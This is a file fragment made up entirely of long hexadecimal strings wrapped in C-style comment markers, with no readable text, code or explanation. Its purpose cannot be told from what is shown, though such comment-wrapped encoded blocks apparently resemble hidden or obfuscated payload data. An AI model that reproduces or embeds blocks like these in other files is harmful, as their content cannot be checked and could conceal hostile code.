47b03fe18a127c0edf2bb7714de6a8ee2f31148f2835908045b8b35a2690f6a6dc7baa88af295cf3deaec13fb8cf253249b940e615c627e7da00e1b0d39140d30d1b10f02344fe7ac9141033cf3270621768952d767e4a755b9f25150b105679dc844eb4828d53f52da7fffa85ed32a3bfd6b87588bea5c7534ab0e4f2ef853556fb5d9d20b6c40eface68d84882f0993c0d987860119207611fe70c1baf35e469b6372811d96b85645ac44c02494a0184b536b0f31ede3327a079968c8337e1f28f76e37f965bf198a50e201ecbe8970715fbe1607cfad53d32bfd6a001dabbbaf24f5f533a28a9ec6154e38fb077067dc4838de5e08afb39906c0e0472ae986ca805fb75800486797ac392cdc94aaf97ba87dbc1d36574b7f49c8d1d200114d9c1e92fbd23c271c08e4657882f207c27dffebef2734ae3be45b046f74c421e8adca61021c946e497787b2b5ed9513818368f2cd964c1801c955ab4aab871c20e9d7b44da056f4278a2166c5439e0627710e3a75b984fa1fb326795ae9aaba930a4f13c72640e467ae90f1815d6b80f742f92cc19ba06e0a1c7c288ef440ddb9fdc78091ecd416cd49fc744343868feb7c2229db25e8bff3b9d06098180cd82af83113dfd717ceea83f33c03b7ed84592ea7a46e3868cebbe4ccc84ad36ab0e265a8cd12c52208a674ae91aa2503b1754edb611f67ccfea0c90e12fdf4605ce957a5cfadd5b763f7c418a6cd21441a6a53818025fdbd0bc3970792b0852ab312e6411bfc100f0ec80f84299be19909babf5f31e29b79e2c0594c6edf1152dfcdeb20ce51060c31e68d502aedd0107fc84e4e30575b364d8b595556cfe4e26d0b92c536afb9f10aa5b28db52469ce69d0ca227053b5bd7636317dcd5e0418a984f9f3a0e63ef1def66b00fbd429de17ed388f4ecb78b9577d8126073de1225655eff51b17b0e5682dc13b51f4ae23fe2465a0f01a99836619c27265067bdcd5da07785195a4063597a2b3d6943f6ce90ce2f0ebf317b28253cea01bd8528d0dfeb59b123df7749c464ad54c3002d1afba45fd158dee2dddc97343506257ea49e0de0b2ec0e15b53f058633b8a63bff317c6519eeb3cb808cab7afbe3441db2136b1a46c5132a25c79d83b8cb4c24ff5d1f14c65954fb1f91ecc82d884d5d015afc1d910546b2e709cf29de4148c2ef5ca73aff80c00fc153b0bcc0b4fbd1c30e00559cb3282f1a7fb1df6b826c8f49aeb165a9cb159a4713d6e477ac1f9870c98065d366cc6ade4fa9e032a5a46a3687f1d20f1873660cbbf93bfbc4a5885a839f89872eb1ba01d7225e6f97c7b0b3cdaf9cfdfc333e39c862e05319e0408f8d4f7d3a2b3f07fe37dc74170f014f3dd77903ba2b9621411b45c18e2d6914069033d374735f7165ff82f5b920d4d65d87708e32b3faa2fdaba1204e334911fade591a4857e5b7a8f7e37016a812371a4970106222b090d39ae79437502c6c02c10dc0488c3b1dc12302441bd4f4b80d7e61da97d28977fb12bbcfe37992807e12ff6c612105814a4f51ef44968a37562e162a81cb7188219cf883d39c05094b0ad1f2a3909444bba0f2cc6fdc8d17e*/
/*b7db7d8eb7673795bee0f5c577736d2437f13d1aa34e25cf98f3fcd1a3dea0f53abf8420587ff9cf21eaf44989e964879892edfce5639251c477e3b0db32a111efe75f8507e0fbaffe932fb04f8ee1f2aa187b2896ca0c86712fc1b7979d2e96a47eda43f6220c558a2eae057862567e6f14e9c9b7ec58ead21c8f495b79d8fd6b0843579658ba9c4af951e83274698b8d055ac917d0fdd3bf4544f9d1552164d5ba77cc538ea981e51b6c13d749d934fd095801b6080a6aa83a58691b4c9d4f83f446d89446c4a91c64184096d564045a851391f949058871970ad9b0dc3e9a64b4db33d8f9c4427ef0221e7d28bfbddbda7e538001d699a052b33f393a784c5b15765d9400b3d718967ceb739d35a231542a4be6e9bec0784cb4f48e719bdc15cf5d4f2f234836371411fd98c017908ecf7f710b2b3acf35b1cfadb41ee60275028a21094ee2cee4434d46d11b322490af274d893dd83064996e211c580140fcfe34a34ec2d19b18c3c17783ad83af9c3f752ef32e9d6c62f4cfa72a2db76b28b8383d108c91a6aed59bf626c805ee5f35fc21a33120a19becc899f541af9bc51c89e57f72d29238e60c342d0103f46c45745da0d4d64884ac3a4ff05c52e085b4aa383bfd0bad84d6d193761294000deac394f3ea6812ef606231463d885b7d6aef3b260fc360ad304919e11a041865dff633aec00a29c67cc55032332868b4186f107cca068676411f1bd5b31a37d340638a0713ef8fcbd95a23445a62f4b910c26eed91e1150363e167be2fbf2a48a51c5a05bd497d8879a9183c61b04b841b01294695b2d98728ff76c80c727070fff7087b1a91afcea166146fa5b2fa64533dd1e9cf3ec8f403db095ebc5f51188f50f48e6e870fa757d02c2589e310d1b78ce574bdf7f5f66337fea95136859070158878d91277b565dceafbe5bea006aee04967bbe945add59a1a6b6126c16b913700a0683415fb9a0c74123da23ff2c36104c352cb09647c6f03437ec8b2c1d8cbfe64b23d3b39b50ad7cbb525d0fe21e2370e41799ccb074f4822df6173e835de61491dbecebc2cd3cdcea574839e6de29284b8b37f141abf842ac497881836fe6e0a8ffb3e11c6faf06946c3ce989a83cc0e68b1292b4fabda0986f2d233aa15c0515ff1461ccdd172f5d71c765f2656198c72ca6083201e139bfb4595201455657e241a4d9a6df69d9ef797092c25a879a3788d91935ed5e0798665a702c003783c397204c9cec3a2994044ed7145338dc72db963d8ebe62442281527c2f49f47eef4df3dc9cd327daeb1c5326359917c8c715f2b4a17f511a4b87766ee9a7ccd44f081ed287cbdd5a7f3da6fc343e38e5374ca9525386806daf5aa93ff6a71505b64e129d475e76295e78be1980961ef06be35863075eca5c1c0f927793967834b9e381a9d58c8b926394c94232ae585e2a1d137fa86abddae9475e9b90f51f00863019c2597dff9eb8862fc54c4cf0a6cc93bf7bda40cb09b4e7ef580f27b9a4f6c2d5717fd8a1855d97e3d0c5abf62aeca8fb1e55c61ada632d78d8303835b344df72803bdab98275140c0242507ec89555ee5e4a165f0276de0487aa69ff8281fb4d38298a77811a0c77da72a12fead18d4ae0ccd1a3f6c218a03e994c961da926ef755d67da7fe758ed42e63faa1ac272febea70f85af08a2410d46ce7da96f35e044b570fe9f743cb3a9b8d748a280a7491d776f04931173122e1f6b5142d631c55510df27a4a1e0d4af30af5d0fa947ef76f6c5d81f425cad12f50c794e086c810957b64d5405f669fe1c2575d44ae832ea245d619d15c4e442fa5c6d644890f202cbd08ee6fc7547a19d1ad4e93907c8ae7a912331a0af5d63dc14ee04ec782cab2e32215cb0aa8bc2dd561e16da7e41ae737c9c01f0954f432651de848c94e1014a69079becd2bdfe8667bb4f4cf97c61484fd2398639a5590b26c722a8c6483384d7834b1a245fa8a40a04ff5d05372e08b97b33ea1bcc81ca0e3afac6ede3e56a902b99ac003d49c40f54bee2e69b32b07ceefe61ead04b6b474a968e7637e9b6a5427130eeae4932e6c9ecbe78fd7ba7cbe28e45975f82faffc04202aa16ea36adacb3b42800698264e467011aab2f37e8cafbe1d52db1d74301be9dd8e730cc71a1a0814273a2a8e778f81b7fa554983bdc55e4bf79b96d18a985f8ebc9e2c1acf97bd8170a450feacf2f2680f248e9624d03c302734d05180236be8ab012b469f9782fee6f010fbd01b343ab7223fdd915302e83a47f006d7df50904b723ad4d3ce05b7170f36c06538048bc4465fc6d7d04ff83cbd6dd5b7d4ff4981b432f79d34bc12f9a6ea0e8bc150578d0908763c169bf8a6a4d05aca7f5c2ed3af39e93585df94be9ff252e31aa848523a9d0b62789b51b11c1fa0215147475041e8cd04ba77c55f6206689d44d03b89f8d19261ec1fe3c92f77bd79c847207c350671f520d6d03b50d0d044161f7844fa7bd093342c78b515c8853c8cbc705516f1524fcd684568064a87343a5324c382db2b3d691050ef782ec600a8b515e29e933880f695c4d2898b1dfc1dfe0faabc4fdc96fc897bdb2421d9ff50d58c17743fa5dd1796930edeaac9e65863e5d751089ee64e87e46e10fbaccdd5eae5cab5e049c93c38eb7f2b60eb0c39468c461ef433d10bc49672a39510371e3387609c96f370c201458f2aff1a042dd4941464d2008afcc0f428c093cbda0d6dbdc7ed2c576cebe9b644c3e1b1c2c63743409145d416f2bb366f78f772176f45e84a46ad8b75f2cc9442a27f02ead724e6765f6476610e56f87324*/
/*622aeff4c2991b0e4ab9d4dc6343fb27fe4e6092982dcbfee49ec11cf2d2d3d541e0e32c7178b8ea0ac8c057d66be389c482e9e7de888af3d2fcbb33a620fc3e9993f96c0ddb2c40699a9a0a5a01509f5f854179f7b17be21c3f966ff97e2f86592bbe09e95feb083639a769010ca3b422979228b4e89147ec8b83ecfad53f463aff06485f61a44887850105e3f61cbf85e9efbbd156c68d8422234aef2cd18d4e409194f2612f1c767c78c02b3351bfec8ed0e36c0e70f68b17ab3784afac3df9ee1d6af8c41681464564e8572c6edae87979343a8e3ca16c77d58debf73262d5d1a536f6aafd57680fdbeb1dbb8c25bc71d8a49055fe62c7ca26c9e4b102924ab861425a66e703a3408cbe83602b44e732e9c75c0485dd3e92605c873da9458bd0c9faeb309c7d23af4de8f03179053d2aa3ccb0268d28711c5a0f2aab0bda88308133e4545fd4e98fdb412add5a81220f3adc5ed8a0410aff4d7ce1a0aa75bbeaf38abeea2f397f5619ab800a1c01e078c161137909c1749567f27ca75c518df907bef2ec299a9e5a773036a3c84c898cbd8588c0e0858f7d5e4b4464b8570acd5526feac7cf95895606bc38ba8ba3a510076e26be1f50544cb531d0fb6acc44849846d762268d4fd77804580a900ba134588e39f70692855a4eef235543f8a3b2332150d091381d1540a896c3d05ee69b731fe89c70507421a7881b49823d9f7395cc88091202e37931ad94dfcd49b0d00e12ad7a448485cb36e63eeb4a43e23353425bce89d2e7deecf785a22b25f50b018815901973d82973641dba5cdfa39ac605c497728aedaa40ea3a3e00a70e76e5d66477416eda78ecc451005f791706e4c5ab1ae6e9537dc24d011f6b8294ffa2b8a3324175bf04e48080da7ada9584311b60f6f5892e7b27d3325ed080bbe6b038d81c8153fcaa3fdd672e9b9172950ac9fd27e69a553961f371a257309be8a5a400a937baa985c1c23300a9944e39239967f37864a738ccdfbbf60afed2a7d67b97699c0d5ee9bdb9c64488620e396e7d7b5eea91b7d1e45584ef63422db0ac760e973eae11bd1a969a65247f871bfd5af5e3a2e107e35e2f17ffc5475f2026f0598cb7c890e69277ffdcb4cfb2865fec7705893083ca3df484a87314216e72989846dd5fd2e5632ed03ac1fe49f200e6ebcf4d386ba1013154cf9495f67c509d9a1f01d490884ef57b2a86603bda7c21da1512c4d6acf47ad6501037742a31dfb566189e3d6add61428e664c824d8d5df6b82ba3bded832bea431ee53cfa812954b6ada9fdeb8c2912a2b4edb0008f76a4af22ea62e8a43f91d0da8d7f451ebff435768ac516e74bf1f0238b67136a141fc7c4750b4095c9eb6e7e7645a8baceacfc7ac73b5bb0becf0302fa4df9bd207bcdfd5a8b3fc76e0a53852f1dab818ca8b4a5ed9c5430a7fcb7b365031888fe4da421c0fab8716120a234d1b772bdbba297ba33200426c2f51055057b4b6a7b488256db916261fc64f603b2485aba386d366d55a9aaee2cee13c39f90d54400d08582e963854a8d2f84a552ff86bee658bb171e50df0737c52eda7fe5f7caf1e819bd7984b52c1811e92fc527edc8d528cd6d6d22f9d1b29b0bf2840e7dc8d1f869702714703fb874a7c8e46d461232c17e01326537dae8d3bbe6beed6bd56efbee45b55f9216492a11ade475d1ede050c291bec31ddd1c4079833dea780926b0d72055bd99df6fb90cba5525b4b614d73efd6a3753ce1cdfada9c73ac51a194defbec65a7bf3bec236debca157a72246404b8314fd4eeb9f05263cc647f6d5b8df829b5402dd96c922a88f0ec7de8b910044dbb0845ea5bd43a22042a062b7d40d7b1b0f690893fdf38ffdaf9c28c727ac49b224ceca7399965eafbcb10c212a0f78abc4bd4a2e9a7532ca5ada5d7953efaffe28e0fc8003916b1c3869d1c734cb97faace63105d7e650a4ffb62e1e60362cd745e8f2f8587e31e4870bcfeeb6c85f43d9166e974214545d627156a4840d170317663a86cb4186bd8b2bae4221a0fd4cf7751cce710b48e907ed8f855fa97f3252925682ff041840115284421eb5d03f70dcfba0ce94df28b532111280974df3febf698822f60d2eb463377f9a8ad204b69a188b94ada089b0f361fe29bf255818aa1ab604903a8000f6cfd87a6c00f8b0a398db9cd5dbb05161e707cfe5d2348358f3bb3952538c3272e23e42df0385a619bb5807e21b07555ff4881000b0347a2423570fea6721fc3f6549dcb354a8d32805525b3a98124d0df054a45b0e4d3821a0f904ada7ed9eb0d903c263bf5b59bbd083465cd5e633f8d8c8dd2c8ae8877c0ec2b059ed81fa307ba2f15dbba6cc69a4a802b24085ab2c99ae6a9b0f811048b7914f186e4e659ed8edd9db7608acfe5fd4a865982c59ae869574607a9d1cd254cd3135e258d318a361e6b2f70aef73dc7c2036aecea83034226acb5c202ed87f49925478fda4eac2a4903c02bbf27714a6b3df5927e972a92ccd1b2415ef4419f67e37f01d53b22d46a8773ada329811b7704b0352ecd2a7e9e3a85228437b24f4c686fa53f2299987ce3bc4bd838b71bfcf1bd5a7d8c4c4729a55b5b061e2c06bd7b06cfd096aca0b009a16b1193af7c1c282151fd815748c1ad3ac357ee2cadf59cac8dc2555caea6e69c55e55f7dee2442ba6f982962ce47f3b71176e7571bf461c7d893853f0c711791d43f92e80f2baefa153cf794b709661b8f850501331872423b54e970823666a59f135d7ed0238faaf55fcfe961cb09d6d6f7ac30e6bd5840706623f40a123bd2761d269c7bb726d198*/
/*489f7e7ffb844d30a86f8d3c8c8309dce9ccd9defe116cb35f37f2856192d72c9fe15560ddf48155438833808f8657bfb62b70ed46a7482c35261ebd284aa4d365ff1ae23fd45b0e58d9f1e4011b157a5bed418ea57e3b7b74a67770b87a403686e18ebf3fa6f3e5c87b0cfe3be62e1108c3378371d2455e9d2a4ad301e904f55658acb0b4938daf451d9a03f52a414e2f97f63ba643f11167bbb68f7cddbca8aff5dabc2af203026fca8855a8c54ae19327744b2f33b6dfd576abfc4131aa5395eaf4ef3ab9bb9f2542b857973efed78439af05e3772c18fc920e3d51ad4574d8ef7e01f8ea7adfa5529cee9984ebbf81f5e849cf9c26618d89d3d736e33e0406593ff7f3d1522a4e4b5f18d30a8bac9ffbfb8abe7fa8129eb6511ad8f5ab1dd5125832d6a6cc7136ea98703c6c9739040312ef9f5b66ba7bfe9e1558a5d6278f8ea06abed68254c6de62f5a2d09888e7108f723243bbfa557600e07fc633540e03a954c1932beeaf292429f226512029926ade100bd4c2cb47f086aadcae20620f12b00c86b20b5469350d91f912a42955e1e4a1328c407e45160681733effe772aa0a70bd7ee981afa247839168eaf602127242c1f1298bcb3b45e82228cb0771886e25cd7971d9d0968b83a829761ad22626762a11bfd194b979bb630502b5849f72c10f6addaa4b1e9a7f273be5cf0ea129bc57adf5ad8ac9445f1d7275023d4e4cafe131a4e72771fdb0fb63d232194bbd1da6ec4854eb22ffb2b358454c035b38f41b6f014c0e7a09c4411b405d1a311c5a735b05a1adcde03053d5a7ccc75218c4be3b2f2b84d157fa878d32774d9b03eb03b47426795bfe07135bedbce776bb1f2e3d52c08287a95301b588cb8790010ad492ab80472846495c55fed033a60bc4e88b12b656a4663c549291b32c63d398a866f6545dbd4331ea6aa97d6d0758255db4a90954035a79d0ebc0a76b2619b165fe8b05b8edb3eb81a5ac77299b97919da1dac1b518787e3690648c0758e70c576002fb8089fc7a6043659ca0723dcd1bdce124d15545764734f1693354da797c907974fe3eba72e24fe3c850a3b1c77a075041cde00d5d24ae18fd7eaed4afab6ef1a6e27e917de0f71fa79969b78133d6293ca5a0c08851bc4a126678916af1c0b232a24e9dd97724de506a45d3c3dda078e47e66d9a7aa6b9d8fbcb293e79ae71dcced5794148132a92974090abf8d195d6687f66fa8401d387f711eff403808e2cc7af0c1ff5f11c2ecc410eadd09f17f825ed3c9e682a39a8a83ae61bd6614a4d19df952707068c8078d049807b07a9675ca3174b48f7c27516fd74c33017a0238ead52f63ac4c431821533c80921aba4e562caf80bb76d5ecb64e9dacb6f88d3bf4851d22ef7ed7fd9ff3c32162aac929fea38c83d042ffaf02457dd19422c64f5ff48925ed3c935dca8084dc9c015e03dd3fd9ca966a530c8ce87485b9f61ae177d00357213dcb49f9eb12a0f01fdbf3f311925a059345fc9f85d4bec46f0fada79fc5d8f96cd1366dea4a1e30d1d1af65ece0b558b194b24067f0d73f8ca466fc6be0d044853c66e01c6a71a2a48ab4ad28eb8826f48e2737437ac160ed12961b7626aa387a400e9e7e176e6a7178c01b10b2758d8bb1d7f521b3565c8be6f89447057b0e6a89011df3ac3da87a2fefa02f9133a22f19c94b92e8abc4b1ba1468a62a11c8a394a3900a570e5e0649bfc037c0a2a3a3aef7e91474bbd35be0e69f2745d701ec7ef5bc2d8bf26c4870c437ec927cf72e312e4c7a8d6b7f84611707b0454d2a99b7aa14dd8584fc439fdf2f962c0a1fab9d36460f5311c329e99bfaf43ec331647a49cf9d870e62bb83669e711905f18d369662bfea85f3a710d599e3c326b9efeff698893b9f1d2bf41a5df4ea3ebe59a9c252d0c3f42b2af0b5317a73eaa952051c3989e061979c14d2aeaf20a5a8a1c205d610417db66e1c4837d3db5d56a1d2cea9fbbd9bb61893c45ec2046b724fd3f173734e6d9fa9f7a46348a3c3b64fcd89bfb1d2a90e37adaa34b5b17820b6a681b2f487f8f25b6218f40431e294f6e9da7987a8f2b4c77dbc06f7229a588b850ec0ba24066d0105cac4cefe5f1e988d56bbc68d3db9a99a602f262d9100ba9e63b4ddb6ed9e3a6bb0cd663d4abcc92704e9b8fd7489b1d47980019f87682cbdf782e5ac6ccca218ebcfa4011d63dde785802ef17238854b098a01bb6300b3b7241acb4053a651b38aaf4b84080d995b2721c9d5ea5f71dcd5d3c799f28d7b253978ca7b4c7cea38ffebb0080377c7425b3db4bb09953b6a622263bf9febf96b52ef8cd732cae97f00fc970bb54a97097bd4ef13e9344eea6c28eb3b4a95ef35ea7b24ea51b15add25800b908646ee3556579ee0954032c7f84728198590f86753a2048f73ab78d6b0425fc6826e44d095c5b95ef19e8c2faa4c92f0cee877ef02acd44b938fd18596107769742abee02e158d5fe2b28d4b7502360eacae171d4bf2be5c62ddc893afc33034023c8cf72157f7f46bf31f4d6e206e839e7b9026acf684ff09b3df2cbdc6f9ca275140eecd2c56b52d3d6b1a49ba0e567d8d84df17bfaea38b06e8d03a26037f2fec0a8edb08fac8f16ec8b3aae7af313981d28698d88841771d7d1022c47aedf68a2743178271259b6dc3b66bf37cb1089e88530c8f74dff1be3f02cf06129b49dbeec6655a27e646cfb4a4b461acfebd218ee8ce6516291fceaf957e616bb8cdecd159cb091716ace18a1eb2bba3ec085087d669b344e60c8fc6b20c8fa54fa2361860f0103bee62c782e3d1f2c1a2e0b88c3e*/
/*b22830827dc08218cdbe5b83e2ddb15a5d0bb7927ad3cc004b9359c690abf2105a650bfb94c229b9c4dcf8fdebe0d1af7bde8af812509dead71e5bb8c356a6bddb87edd95707d5679b3ba92ca8ee865b716780895965686e00af99fa211acf5cabf1abe8b1d9ebc20884386fcec452417b82ca6062684b166bfa642693efa2bea95a81e46efe5818611c2078355cd5b31b8c973592504c63542d833340d43c7927272755ca35626eda3b63bd6e847af6239b57dfd866d48166c21814a14729b21b32d127f297b4a6c0b69f9371dc5d3d6dc678487c6e6f6a3ea9f686792b18f6afc3d7f330a7f81e35baa049005fb7d4bfef43ac415a4c0dfe1466c4c6b09f9bd820709589340fe5e00b91b8bfed3ec54691c322e986e1b87dc887e0fc79bb591d7ee198bc325be7ef55adbb4fbb4273b08aa33f1037dde76cf4c9dc4487fbf1789d141c4f354f2d51025ee65319041ee8cbffdc4854f7a3c0ea07bfc661b03ff1fb243ea8cc977a9303acf8f6f250962c7c2ee03b6c87a25fdcc4bda482e9fd47c8f9b8a5c2c5bb4eee137ec276fc4359adc0c653a02e5770c4249a543e664ee8516b1aea6f68dc3e12502507c978bcfe26dd3d8c962ef8b86edd05294a52843bc555bb56c5611dc174bc056d745e22c4a19f3ab653146ad5634952b96d4da8fb6b50418d9e9f59049d674d13ee34f4de9722ab1c3f63dd5f9f7b5eb1e989b80f8418f87ee0cc00651bf6d0717afbf0a37ec8300efe972de9bf28a89b2c0b5e8c676d0f7856c3b31301811610a0a8558a64d16d9199a3c866d4494d8eb616e06758e668f14b00f9b1b7d8c363df43a0d911c745562b4b252b8076c03e1531926d393d8e9256302f508c175fe177b9c8ac2ad3d9b59097b6266dd4af734e0300d1b2b80b50416875424b335b8d5a993ea0545cb99cd2b3398ea4275e90ea4e577f4e27c71a87804eb1b624565653cc49336b73d077ed32fc7cdf78aa6c9973a4b7e4836bbe978337882057bfcda3b9714806468fda37c427f202ac870923854367599353cb09e70b284712deee5b665e84ca8e5743a61d2bee580770d4df241f8d7eb919764b596433a77361a134de1f16c5143c7aef30ed0cae86b7aee03da761821a465c2306dc8e0cc09174b89b1b57e86a901481c18bcc30c0af47cb3060761684f03a3c469de7ec7bfc84ac7a396c939fe4248ce0f07fad87a6ced1b339ebf8fa920f9d6988d1282a79f9f1e594eed2552351e14e2aaba79ce88f97da4ae9bf4f0c24cf31fbf16e93edb87961d722e591e5e4868363c1f3344e02977630f9fa17688ddd1b6d947d5a626d54de32d060df33914dbebb6f8b6df033cf3eb44c815699a6d594810a057499d8433ed5b41e02c5505a5f777600b153bdd5bce2b4a31eebe5534693c739cc8da6ae906ac1af60dacfa39576898e6aaa388aed370370a180d60d4518d02ee2f615a51449bbe2f25bb8ef7dc909224058c45631b6b6465360b3209ab02f29a544f07d07e34060e5370089ed345adbf6a2ebee96767b2039d463da933a3a515443945e2001669bb8d93ad74f12ab705de8f577df8920d7c2d3e54539037e9d45917d8fa8b8c3458d919ace98a363eb4ef82c707bd38e156cc2ccb1ec23c222bf6fa04c593e78bf6f81a76ffd75a587203e7897030a1334bfc9b854a7df15abb28da80fb0b199aa8385fad43e1d20d1a55c3f8a9be9c6a51bf3267897f64349732f7446ea7232f14bf8d1c7f6af0920fa7c729170090f55993d8a39d776402168f8de8acecd00f6e1b2358a17fbd70d801295f7e7551488b6234cb2d4d88b79783469bbd893492ae9fc65a281caa2b46d6353baa02aeb911704346818214ce4441cd68a8c49315df22d57e691dee2499209244036ece678e6b4b7f78ea32b8487d818a2e07719fb8ec8ec44d7e23ad50232cd2a6e41a06c7f57b463170a4e2fb7a5f8239ca5780b13ffa4f49c33d25a2367e727d71f71ecfe32fb2b792e251e73f906cbc6b4a9853ee2dddc7f7efa6227f03f266702744ed988a273c8b5d1089cc6241496403560cd8106ade8e9d05d3f8bebd27ab7368d7ce18c13f58f47919efedc3ffafb1b0632eed727a60bbf7baf8f4a31ce78d4c041c8ea7769424002e81bcdba2b86d8a6f81cab698b1e311c36acd8c88c608fb1d001a68bc76faf89ce392f0599682706c520a46b41054de06902c6d9c96bb42a099859e0642faddd15f06249387c1687210134f424b164405cbee1e4bb00a1a86049679823c0b0992f42f10c87426a7b2a412001dab202af0d480f5d48b5cbd3409f5da69ebd7184111001655218e14925b4c387ec79cdbda69ec5f31f977d97340b3ac92bda559795903cc3371d701cbe3b318ca3db0ffad41e727884d76255dc579608ad869552754ac816ed08daa440bed1015a258ce22aaa34026eea42afe7cf54c488be2d165d8222044812051b89f23d230275c187264b016483d68810b793f9f0d2f033af6205a8de7a9ab27d4b6dfec438c36f2d862e2d0f3253adc8e22126bee3f4bdda77f093b5d8a78f001e29c5f6910f1af3aba55cdb696f4a52b09771406baaed5222540d6cfc652cba4b77143634aa3bc7c14b37a264107d6546041966531ababacd0e4bd656c3cd9f3ab22f57d4861087ede4c30627f3e3dd85b1d05a248fb5ea367ea645c9cc0728520036a721a6dfd46ccbfe1fac80e86c2c26bd22eb8fd40c20f742e4d4d7304751df2aeb922c5664b671632fef9eef7221da198ea999078353c7f146b70196f5d5b32c61d22d9287a53e5d5e8af4220e5c3e7fd373951143f3da4e48b86c*/
/*fc7f71f47bf6c499003c4c91d7a5f8ad32caefc8417b0c60e5320bf469cbded247fb3ecaf5b50e47271c2b2f7eafc1c1821422d038884a8863e90cb2b5ebc6a8e3ef095c79fdddbb14c8eee07e656fdc4804833adfbb2209d809b26eb37446bc19f60e8ef3e13f8f1860e1be9127410a554a40b658b37d88f7629b1e55390e7df9ae9737135335a2d1a035f8f207c5302f72da753f3c0cf6bce54dcc3be8868eeab751e62571d07574567bc3054c5567d4606cefa3cb3eec96d666bd5c2546494fb0ff18c66c7243700380906b6c4c33f77a7a55580efec2d12ec3b07c0bc2391be320cf94b9977ac4504b556264e6d2cc78fffe8a4f3e624a838cb8b853e58b68c1922b32c2c330125d8611b3aa9241133752d6b2fc4786a5ea77b69a80026b2ffd50304037adfc1c36e474095cd6c569f3a842d875c0475d08a91e9c0c5d3420095515846d0a6aea270708c0ebbfd3c1d376dedfbaced8c9f6a61c0fb1a172a630f688765cc852fc13cfb0da5712fc6e7590515a4cfb650853323cbd340fe5f850dae28f8a7e1375abcacc62edb8e71a57e2be2d4e62fc4205079c84c71253d4cbb8345e4bb16d7238d14685411d20c131f05349d866474535346095bbc1c02b38a2b5bcaaeb1d9b50c0913281b1b4ad7e0d9c5c50046ebf6737ac245d4b98fdda1126492f69c7a860b2cf9da8941e94432fa90474fda97fda3711652c59a713875d96490a795559a8e1cea356b1330b97a699190b1ae121a39d50808c45d941d8d7c63edf946e0d713c1ffc8582fcdf6ceb74f55868c0637a6aa1f201460a1175b55d6a9c35bd2ea57e3b2da099f567773792e3c7540b2d81ff113536513be07021aabd7dc03a13ba6d51986c8e7a379d04f1cb4cab88adbfefb9d9eebb5e4f86271fea308258a023c75555afe229cbbf1d07b2468efa2c7c04e8e0f5c0f38af66fab94abef1c44b06b8c455eb3f875622036f7fed1c721ffd8bfc2c39deeb6be05edd6a71d50a4088b698c9da8695b8e6e56b00772ed0a1269f02690d14e2094892aaecee9efda9adad58cea8e4c04df4a7aa8a1117cb89bcc191581fe0ff69f2205a07eb8291d6034c18ee493b7ba35869ba3bcae8f9fcc1ebde7878f21dc70e573cdaf189db35ff1a7c65d40b8b09de705a7fb06e1714495f470c360952454d96a620dd3558bc9eb71b11b2fb105141a0c67be0886a97104469016d60a4115b24f77127a71c34659c1148c850c03064ab487b5df7fbe2f493ecfeb2ebb5fcf38fc4d7dcf114cbff277627f475099a513f5c8a201aca2cdc156aa512d5b30063d8b3abf99a349ce00495d9bdd46ff9fdd233d0e2979298aeb85af61f40b019b7f5ba2b33bffb264b3596b07193d6fdd6b04c61245ac845dc4cadcfdf42ea435e4764acacd55c7fb79f0d912365221fd4b3f5807f8590e52ac1cf264562d51006257bc200b1ff5f5ab76c0f5133b02b3edbaa4e8e998aa55d64c8aa55bae02d6e6e4bc842f4a43c993889053a299f2d99de2fabaff699ec40305de56ec83108948958a91570358cf94eaffcd3d94fb65a2334012fdb11dbecd0ef6b4af0f9690dd5b27e0761cc30196381656eab34cd519c8939885500ca361655a9b10f4947b170377761471a7bada70833140b1933348eb4c230b5f727880d9f249286e4c06a85383258d2c583b902ca93148d8f77e721ba9b054f8de4a19b8cd0066e1112baebd0fcec83017aca106cb4c9d69ab94e543e554ff41599263534c201e88e764756167cdb92e88ee5093b6d519c5b49518b9f43f612571d4e12145fd3b412ae617aad7ad06e6ef7b928a6ff2520fe996f160d50a5bddd7627c105eaa1295020ca431b24c03bf8bed86769af4fffde1baa687e1750a5c74a70f2aff9389607504ee7b27b7fe5d896db59aca632d83f16b2b510d42e6cd6bf5c8290f59c3db301491de5f5f175245f09ef8a1fa1929620a2300ffe361284485fadd559a9ba66cdbba392f1e4cb505a3e89f3554fcbe9ae9687a72ea58aecdea521d52a35db2e82b97495c6283df72d906ec2139291a234d8dc674a4b0a3d4606eedd0b82b7fd1f9fb0180a50e865aaaf581b0d87e99958c92d8d2ade41b8f2beee994062ed39a27d685a015cba83f24e1ca20844f407bc308261179c93edb6bd39b297d7bbed0dae81fc8be803ce0dab780c803bee03f0283bfe39ecc1efe4ab4139d60add9ab392a411a454a098eb00e3518bb1fdaf04f9147511fafab1864f8319424b0d13458404c1240791cecef2fa8d3492da0d914c267ef812e3f3a425d8b1acd177a1b9224aa3a4cf745d06b4bd3b6e64f7cabbd6569f753d64250e734a0cb95008ba60a69cd3f0bcafc2492c62f0bdea1e5b6167aee6e1be3826dd792df112858605f4365b4387111015fc39099bc370bef5f70d481be3140c1c67e1b2a7b5ecaa55f4d68808d7865e57492fd8ad3ea0c38cd772d9ccc3e1392ac31fae5ed705e5b7e07e93478664f515268bb305a8a1e6dc6de071cb7729f832e6f3e99453d15c6fa4df1261536be5d954f5a37c87874ebba32172f30001067f734276f73ad3b634238c7647d7df8636e490b7d2c179569fe572181180a802ea667f35c0f9736c8706016878e998f7eb7099e015a8a449996c9dd66b987c30880818a3d8c22c71ccd1ca2cc4f5bc9ed5faeba64bad8b1ad8d6854445346d043d2de03d3f12d70b3665cab9bf065b269165a09e77e25093d584702ee1ef72af1c9d70f02d565eef9e5cdc7775e1e846559aefa994c10db9446146a832be740a6324eaf0414147614b725cbaaab365b81b11d03de70fe41ca*/
/*0eef2593b16293d7e8fcb855e7db0be16e786ae455bf42dc39d1c56fc2ec99c4d2113f92036474b7aebf5c4f67918a8d155699de6d1ceae6b9ae043cf52f0abe93e3df26d0ca288f22a72f50114f6c94aad4b25f3763ebf0a315c3517a8d96d4a5879e29a16e6904fd47334a36b09186ded54520f7a9fc34a02d7b99a6a007600c3891a0fdde601ccbf5109dd4ee7b3cae87016d68964fad311fdcb6e6eca356d3d569dafa61150bfd333f9fa8b2d8d50e704e13c43f6c41152717cff0f11d5f2caaad20515cef1479fab116437f7310df6b331b422e3f9e6ced2d53a462839655235c47fec2fe5c8a42b11764010b3e83f1f9f4ea3964a0192547563ec758b3cb340776609e2bbe42b408eb83f89c53e1c89875969d8863faa9fa3ab597f2a4969bbd8c526190aac6fedf99fb925536d03b4f213aaf0152439efe8aeb7777512f1c4228b54aebe84348d4d541c4988a7389a8def6b0fb8cb3be382f56780c0d7087d565f974b0562033939a5532662a325eb579297214c11293e498821aadfbd8dc57281fa8198d22f7c2be870c1eda280784878c59fa